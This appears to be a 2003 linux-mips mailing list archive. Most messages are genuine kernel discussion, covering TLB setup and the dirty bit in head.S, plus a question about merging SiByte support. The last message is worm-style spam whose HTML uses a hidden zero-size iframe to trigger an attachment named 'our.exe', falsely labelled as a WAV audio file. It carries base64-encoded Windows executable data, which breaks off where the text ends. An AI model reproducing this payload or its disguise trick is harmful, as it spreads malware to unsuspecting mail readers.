	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sun, 20 Apr 2003 03:38:05 +0000
Message-ID: <1050809885.3ea2161d7bfc7@my.visi.com>
Date: Sun, 20 Apr 2003 03:38:05 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>
Subject: Re: TLB mapping questions (followup q)
References: <1050730370.3ea0df8263a21@my.visi.com> <20030419164854.A15699@linux-mips.org> <1050805826.3ea2064281289@my.visi.com>
In-Reply-To: <1050805826.3ea2064281289@my.visi.com>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 64.212.122.73
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2112
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting "Erik J. Green" <erik@greendragon.org>:
> 
> That's ok for the first page, it's code only.  The second page mapped by the
> entry is data, so I'll set the D bit on that.

A followup question:  my stack is working now that I've set the D flag in the
TLB entry, allowing writes to that page.  From what I can tell, the
MAPPED_KERNEL_SETUP_TLB macro in head.S actually creates two nearly identical
halves for the new TLB entry it creates, except the half in ENTRYLO1 has the D
bit set.  My problem with the stack code was that the address the stack pointer
was being saved to (ok, really more of an addressing problem than a stack
problem) was within that first (16MB) page of memory, which couldn't be written
until I set the D bit.  

How can this work in the existing head.S for a mapped kernel?  Wouldn't other
machines have the same problem, where the location for kernelsp is within the
non-writeable segment? 

Erik



PS: Code from the current (few days old CVS) head.S:

       .macro MAPPED_KERNEL_SETUP_TLB
#ifdef CONFIG_MAPPED_KERNEL
        /*
         * This needs to read the nasid - assume 0 for now.
         * Drop in 0xffffffffc0000000 in tlbhi, 0+VG in tlblo_0,
         * 0+DVG in tlblo_1.
         */
        dli     t0, 0xffffffffc0000000
        dmtc0   t0, CP0_ENTRYHI
        li      t0, 0x1c000             # Offset of text into node memory
        dsll    t1, NASID_SHFT          # Shift text nasid into place
        dsll    t2, NASID_SHFT          # Same for data nasid
        or      t1, t1, t0              # Physical load address of kernel text
        or      t2, t2, t0              # Physical load address of kernel data
        dsrl    t1, 12                  # 4K pfn
        dsrl    t2, 12                  # 4K pfn
        dsll    t1, 6                   # Get pfn into place
        dsll    t2, 6                   # Get pfn into place
        li      t0, ((_PAGE_GLOBAL|_PAGE_VALID| _CACHE_CACHABLE_COW) >> 6)
        or      t0, t0, t1
        mtc0    t0, CP0_ENTRYLO0        # physaddr, VG, cach exlwr
        li      t0, ((_PAGE_GLOBAL|_PAGE_VALID| _PAGE_DIRTY|_CACHE_CACHABLE_COW)
>> 6)
        or      t0, t0, t2
        mtc0    t0, CP0_ENTRYLO1        # physaddr, DVG, cach exlwr
        li      t0, 0x1ffe000           # MAPPED_KERN_TLBMASK, TLBPGMASK_16M
        mtc0    t0, CP0_PAGEMASK
        li      t0, 0                   # KMAP_INX
        mtc0    t0, CP0_INDEX
        li      t0, 1
        mtc0    t0, CP0_WIRED
        tlbwi
#else
        mtc0    zero, CP0_WIRED
#endif
        .endm



-- 
Erik J. Green
erik@greendragon.org

From erik@greendragon.org Sun Apr 20 05:20:02 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Apr 2003 05:20:04 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:18083 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225195AbTDTEUC>;
	Sun, 20 Apr 2003 05:20:02 +0100
Received: from mehen.visi.com (mehen.visi.com [209.98.98.97])
	by mail-out.visi.com (Postfix) with ESMTP id 114AB36CC
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 23:20:01 -0500 (CDT)
Received: from mehen.visi.com (localhost [127.0.0.1])
	by mehen.visi.com (8.12.9/8.12.5) with ESMTP id h3K4K06D080210
	for <linux-mips@linux-mips.org>; Sat, 19 Apr 2003 23:20:00 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mehen.visi.com (8.12.9/8.12.5/Submit) id h3K4K0NV080209
	for linux-mips@linux-mips.org; Sun, 20 Apr 2003 04:20:00 GMT
X-Authentication-Warning: mehen.visi.com: www set sender to erik@greendragon.org using -f
Received: from 170-215-17-187.bras01.mnd.mn.frontiernet.net (170-215-17-187.bras01.mnd.mn.frontiernet.net [170.215.17.187]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Sun, 20 Apr 2003 04:20:00 +0000
Message-ID: <1050812400.3ea21ff0ca9f5@my.visi.com>
Date: Sun, 20 Apr 2003 04:20:00 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: Re: TLB mapping questions (followup q)
References: <1050730370.3ea0df8263a21@my.visi.com> <20030419164854.A15699@linux-mips.org> <1050805826.3ea2064281289@my.visi.com> <1050809885.3ea2161d7bfc7@my.visi.com>
In-Reply-To: <1050809885.3ea2161d7bfc7@my.visi.com>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 170.215.17.187
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2113
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting "Erik J. Green" <erik@greendragon.org>:

> How can this work in the existing head.S for a mapped kernel?  Wouldn't other
> machines have the same problem, where the location for kernelsp is within the
> non-writeable segment?
> 


And a followup to my followup: =)

Later in the boot, in tlb-andes.c, the andes_tlb_init function re-sets CP0_wired
to 0 (and pagemask to 4k), then the local_flush_tlb_all function overwrites the
TLB entry for the kernel, causing an immediate halt to things.

Am I correct in thinking the 16M page size initally set up in head.S (with
CONFIG_MAPPED_KERNEL=1) was so the mapped kernel could get to the point of
setting up the TLB "for real" later on?  If so, how is the switch to 4k pages
supposed to work?  I can see the existing code working if local_tlb_flush_all is
running out of unmapped memory, but in my case I would think the "starter" TLB
entry would need to be preserved until a replacement is created.

Thanks again,
Erik



-- 
Erik J. Green
erik@greendragon.org

From invictus_rm@hotmail.com Sun Apr 20 17:25:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Sun, 20 Apr 2003 17:25:16 +0100 (BST)
Received: from bay7-f88.bay7.hotmail.com ([IPv6:::ffff:64.4.11.88]:52238 "EHLO
	hotmail.com") by linux-mips.org with ESMTP id <S8225235AbTDTQZP>;
	Sun, 20 Apr 2003 17:25:15 +0100
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 20 Apr 2003 09:25:08 -0700
Received: from 203.195.196.66 by by7fd.bay7.hotmail.msn.com with HTTP;
	Sun, 20 Apr 2003 16:25:08 GMT
X-Originating-IP: [203.195.196.66]
X-Originating-Email: [invictus_rm@hotmail.com]
From: "invictus rm" <invictus_rm@hotmail.com>
To: linux-mips@linux-mips.org
Subject: sibyte in mainline kernel
Date: Sun, 20 Apr 2003 21:55:08 +0530
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <BAY7-F88HTxUjWQYwg100004d69@hotmail.com>
X-OriginalArrivalTime: 20 Apr 2003 16:25:08.0599 (UTC) FILETIME=[68AA7070:01C30759]
Return-Path: <invictus_rm@hotmail.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2114
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: invictus_rm@hotmail.com
Precedence: bulk
X-list: linux-mips


hi ,
i was not able to find sibyte in the mainline kernel(kernel.org 2.5.68)
(although Yes i could get it from www.linux-mips.org)

Is there any plan of merging the sibyte architecture into the mainline 
kernel anytime soon ?/
What is the procedure followed in this regard??


rgds
rm




_________________________________________________________________
Gizmo freak? See what's the hottest. http://www.msn.co.in/Computing/Gizmos/ 
Read product reviews.


From suneil8241@ameritech.net Mon Apr 21 02:45:20 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 21 Apr 2003 02:45:21 +0100 (BST)
Received: from mailhost2-bcvloh.bcvloh.ameritech.net ([IPv6:::ffff:66.73.20.44]:12543
	"EHLO mailhost.bcv2.ameritech.net") by linux-mips.org with ESMTP
	id <S8225237AbTDUBpU>; Mon, 21 Apr 2003 02:45:20 +0100
Received: from Bwxwd ([68.22.206.37]) by mailhost.bcv2.ameritech.net
          (InterMail vM.4.01.02.17 201-229-119) with SMTP
          id <20030421014458.ROOV17758.mailhost.bcv2.ameritech.net@Bwxwd>
          for <linux-mips@linux-mips.org>; Sun, 20 Apr 2003 21:44:58 -0400
From: sonian <sonian@consumer.org>
To: linux-mips@linux-mips.org.
Subject: Japanese girl VS playboy
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary=FY3rW1i7s4uU6IyzZA63jG26lmT29B
Message-Id: <20030421014458.ROOV17758.mailhost.bcv2.ameritech.net@Bwxwd>
Date: Sun, 20 Apr 2003 21:45:06 -0400
Return-Path: <suneil8241@ameritech.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2115
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: sonian@consumer.org
Precedence: bulk
X-list: linux-mips

--FY3rW1i7s4uU6IyzZA63jG26lmT29B
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:WoDQ11X18VWkjP3 height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--FY3rW1i7s4uU6IyzZA63jG26lmT29B
Content-Type: audio/x-wav;
	name=our.exe
Content-Transfer-Encoding: base64
Content-ID: <WoDQ11X18VWkjP3>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn
GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA
UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA
QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA
ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ
AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA
QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA
AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
